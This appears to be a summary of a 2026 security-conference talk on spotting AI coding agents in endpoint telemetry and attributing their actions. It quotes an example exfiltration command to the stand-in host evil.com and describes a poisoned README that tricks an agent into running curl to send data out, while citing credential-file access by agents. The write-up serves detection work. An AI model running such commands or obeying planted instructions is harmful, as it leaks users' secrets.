Can You See What Your AI Saw?: GenAI Endpoint Observability for Detection Engineers

Can You See What Your AI Saw? GenAI Endpoint Observability for Detection Engineers

Speaker: Mika Ayenson, Ph.D. — Team Lead, Threat Research & Detection Engineering, Elastic

Conference: [un]prompted 2026 — The AI Security Practitioner Conference

Date: March 3–4, 2026, San Francisco

Watch on YouTube: https://www.youtube.com/watch?v=cEbPSQaSLXM

Reading time: ~8 minutes

TL;DR

Your EDR sees a curl command. Was it your developer, or an AI agent manipulated by a poisoned README? Mika Ayenson of Elastic exposes the core crisis facing detection engineers in 2026: intent attribution is broken. With AI coding tools spawning shells, writing files, and making network calls indistinguishable from human-driven processes, the industry urgently needs OpenTelemetry-based observability standards to restore meaningful signal.

Introduction

Every alert a detection engineer triages comes with an implicit assumption: that the command in the log was issued by a human. That assumption is no longer valid. Across enterprise environments, AI coding agents — Claude, Cursor, Copilot, Codex, Windsurf — are executing shell commands, writing config files, and making external network calls at scale. From an endpoint perspective, the telemetry looks nearly identical to developer-driven activity.

Mika Ayenson, who leads the Threat Research and Detection Engineering (TRaDE) team at Elastic, brought this crisis to the [un]prompted 2026 stage with specific data, real detection logic, and a clear prescription for where the industry needs to go. With more than 10 years in security research, Ayenson is unusually positioned to see both the engineering realities of endpoint telemetry and the operational pressures of writing detection rules that actually work in production.

The Scale of the Problem: Your Devs Are Running These Right Now

Ayenson opened with a stark framing backed by industry survey data: 85% of developers regularly use AI coding tools, 22% of merged code is AI-authored, and 55% of developers are "heavy users," with AI tools involved in 76% of their coding time. Every one of those endpoints is generating process events, file writes, and network calls that security teams are not equipped to interpret.

▶ Watch: The Expanding Attack Surface (0:00)

The scenario is vivid: a developer sees a Reddit post where someone says, "I have this extension that downloaded and it's trying to connect silently to livefootballtickets.com — I have no idea what extension it could be." That's the problem at scale. Users are installing AI tools, MCP servers, IDE extensions, and agent SDKs faster than anyone can audit them. These tools spawn shells, write files, and make network calls. The EDR has no idea an AI is driving.

Elastic's own production telemetry adds concrete weight. Looking at DNS traffic by unique host count, the top destinations from endpoints running AI tools include api.anthropic.com (27.77%), chatgpt.com (23.86%), claude.ai (20.61%), api.openai.com (10.63%), and gemini.googleapis.com (3.47%). This traffic looks entirely normal — and that's precisely the problem.

What Current Telemetry Can (and Cannot) Tell You

Ayenson walked through four telemetry layers detection engineers have today, with specific signal quality assessments for each.

DNS/network data is the cheapest starting point and the most actionable. Ayenson's team sees clear evidence of unsigned binaries being worth investigating: of 131 unique hosts connecting to LLM APIs, 129 ran signed and trusted processes (98.47%), and only 2 ran unsigned binaries (1.53%). His recommended detection rule: alert on any process where process.code_signature.exists == false connecting to known LLM domains.

▶ Watch: What Current Telemetry Shows (2:00)

Process ancestry is richer but messier. Production telemetry shows Claude and Cursor spawning git (3,400+ events), gh (720+), node (490+), rg (400+), and bash (240+). Long command lines — average 48K characters in zsh→claude chains on macOS — are a signal, but one that's easily defeated because LLMs naturally generate multi-pipe command chains.

File modification data shows real risk patterns: omni (Cursor) writing .md files across 9 hosts, codex writing .py files directly, claude creating .tmp staging files, copilot-language-server writing to .db files. Config files are persistence surfaces — AI tools writing .json, .yaml, and .md configs can alter tool behavior, inject prompts, or redefine MCP server configurations.

Credential access signals from production telemetry are alarming: credentials.db being accessed via Python on 15 hosts; cookies accessed via claude on 2 hosts; logins.json via claude.exe; azureProfile.json via jq. Suspicious outbound URLs — webhook.site, api.telegram.org, polymarket.com — appearing in zsh via claude processes.

Intent Attribution Is Broken

This is the core argument of Ayenson's talk, and he illustrated it with a specific slide: a developer and an AI agent both running /bin/zsh curl http://evil.com/exfil. Same PID, same user, same command line. Nearly identical telemetry.

▶ Watch: The Intent Attribution Problem (6:00)

"Your alert fired. A suspicious process ran. Good luck figuring out if a human or an LLM did it."

The threat model is expansive. OWASP MCP Top 10 vulnerabilities, prompt injection from hidden instructions in context, malicious MCP server poisoned tool schemas, trojanized AI tools, fake MCP servers delivering malicious skills — all of these exploit the same gap. A poisoned README.md tricks an AI agent into running bash -c "curl …" for exfiltration. The EDR sees: Cursor Helper → zsh → curl. There is no link to the poisoned context. No field distinguishes "Cursor Agent spawned this" from "user typed it." process.parent.name is all there is.

Ayenson identified three specific detection breakdowns:

• Cross-session context loss: Developers running multiple simultaneous agent sessions across different workspaces mean adversaries can achieve goals across sessions in ways no single session's telemetry reveals.
• Self-escalation vs. user intent: When an AI agent requests elevated permissions, versus when a user explicitly authorized something, looks the same in current telemetry.
• MCP server attribution: MCP servers run through node or python3. The server identity is not in process metadata, so there is no way to attribute which MCP tool invoked a subsequent process.

Detection Opportunities: Walking the Ancestry Tree

Despite the challenges, Ayenson presented concrete detection logic available today using production Elastic Defend rules.

The key insight on process ancestry: relying only on process.parent.name catches one level and misses grandchildren. The recommended approach is a full ancestry walk using ES|QL entity ID intersection, which proves lineage at any depth:

▶ Watch: Detection Opportunities (10:00)

For MCP server detection, Ayenson showed a rule targeting MCP servers spawning shells through node/python3 with command lines matching "mcp", "mcp-server", or "mcp_server". Ayenson also called out Ollama touching credentials as a specific anomalous pattern worth building alerts around.

Where the Industry Needs to Go: OpenTelemetry for GenAI

Today's heuristics — process parent name, ancestry trees — give detection engineers "a fighting chance, but it's not good enough," Ayenson said. He outlined four specific gaps the industry needs to close:

1. Native tool-use attribution: AI tools must provide data about tool use and decision reasoning natively, consistently, and in a standardized way across all tools. Every production detection rule today is a workaround for telemetry that should exist.
2. Model refusal events: When a model refuses to execute something, that signal needs to be ingested by SIEMs. Currently it is invisible.
3. Token-level tool call attribution: Tying specific tool calls back to the original prompt in a traceable way at the endpoint level.
4. Consistent field semantics: Different vendors naming the same concept differently creates enormous maintenance burden for detection engineers managing rules across environments.

▶ Watch: Industry Gaps and OpenTelemetry (14:00)

The solution Ayenson advocates: agent hooks wired into OpenTelemetry. If an AI tool does something, hook into that event, ingest it into OTEL, push it to the SIEM and EDR. OTEL provides a common lexicon so that a detection rule written for one vendor's field names works across the ecosystem.

Elastic has already started this work, contributing GenAI semantic conventions to the OpenTelemetry community and merging several pull requests to establish base fields. Claude Code is specifically highlighted as a positive example — it already ships OTEL natively, which enables prompt visibility, model reasoning, and guardrail firing data to flow into detection pipelines.

When full OTEL integration is achieved, what becomes possible: knowing the parent process was Cursor, knowing the tool that spawned the shell was Cursor, knowing the user submitted the prompt and it was approved, knowing the provider — all in one cohesive story that can distinguish permitted from suspicious from anomalous.

Practical Takeaways: A Maturity Model

▶ Watch: Practical Takeaways (16:00)

Ayenson closed with a maturity model for organizations at different stages:

Start here (today):

• Audit your AI tool inventory before writing any rules — know which tools your org should be running
• Scrutinize runtimes: should GenAI tools be running as root? Should there be network controls?
• Consider whether your organization should be browser-focused or native-focused for AI tooling — this separation simplifies detection considerably
• Use process ancestry, file events, network/DNS — the cheapest and most actionable telemetry available now

Near term:

• Implement network controls and LLM gateway rules
• Begin ingesting guardrail signals from cloud providers (Azure, AWS Bedrock)
• Build hunting queries first, then promote to detection rules

Long term:

• Full OTEL integration with agent hooks
• Native prompt and model reasoning data in SIEM
• Token-level attribution between tool calls and originating prompts

Detection rules referenced in the talk are available open source on GitHub in Elastic's security detection rules and detection-rules repositories.

Notable Quotes

"Your alert fired. A suspicious process ran. Good luck figuring out if a human or an LLM did it." (6:00)

"Same PID, same user, same command line. Nearly identical telemetry. Looking at raw events, it's extremely difficult to tell them apart." (6:30)

"Today's best option — process parent name, process ancestry heuristics — gives us a fighting chance, but it's not good enough." (12:00)

"If it's a developer who just YOLO'd, clicked the button, said 'go do a thing,' and it downloaded a file, executed it, established persistence — from our perspective, we don't see the intent." (8:00)

Key Takeaways

• Intent attribution is the defining detection problem of the AI agent era. Current endpoint telemetry cannot distinguish AI-driven commands from human-driven commands — same PID, same user, same command line.
• Process ancestry walks beat parent-name checks. Looking only at process.parent.name misses grandchildren. Full entity ID intersection at any ancestry depth is the right approach.
• Real production telemetry already shows credential access, suspicious outbound URLs, and persistence via GenAI processes. This is not hypothetical — these signals exist in live EDR data today.
• OpenTelemetry is the long-term solution. Standardized GenAI semantic fields, agent hooks, and native OTEL support in AI tools like Claude Code are the path to closing the intent attribution gap.
• Start with inventory, not rules. Reduce the attack surface first. Know what's running, scrutinize runtimes, consider browser-vs-native separation, then build detection from there.

Slides Reference

Slides are available as 2026-04-04-D1-S2-11-38-Can-You-See-What-Your-AI-Saw-GenAI-End.pdf. Key slide topics include:

• Production telemetry data: top LLM endpoints by host count (Anthropic 27.77%, ChatGPT 23.86%, Claude.ai 20.61%)
• Code signature analysis: 98.47% signed+trusted vs. 1.53% unsigned across 131 unique hosts
• Credential access and suspicious URL patterns from production GenAI telemetry
• ES|QL entity ID intersection rule for full ancestry-depth GenAI lineage detection
• MCP server detection logic
• The OTEL GenAI semantic conventions roadmap